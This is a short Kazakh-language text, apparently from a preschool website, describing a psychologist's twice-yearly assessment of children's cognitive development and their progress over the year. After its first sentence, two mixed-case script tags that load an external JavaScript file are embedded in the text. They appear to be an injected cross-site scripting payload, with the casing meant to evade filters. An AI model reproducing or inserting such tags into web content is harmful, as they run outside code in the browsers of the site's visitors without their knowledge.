Балалардың танымдық дамуын диагностикалауды психолог жылына 2 рет (оқу жылының басында және соңында) жүргізеді.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Оқу жылының соңында тәрбиешілердің, мамандардың және ата-аналардың бірлескен жұмысы кезінде танымдық процестердің даму динамикасы айқын көрінеді. Бір жыл ішінде балалар есте сақтау, ойлау, қиял, зейін мен сөйлеудің даму деңгейін арттырды. Біздің түлектер жақсы базалық білім деңгейімен мектепке барады деп үміттенеміз.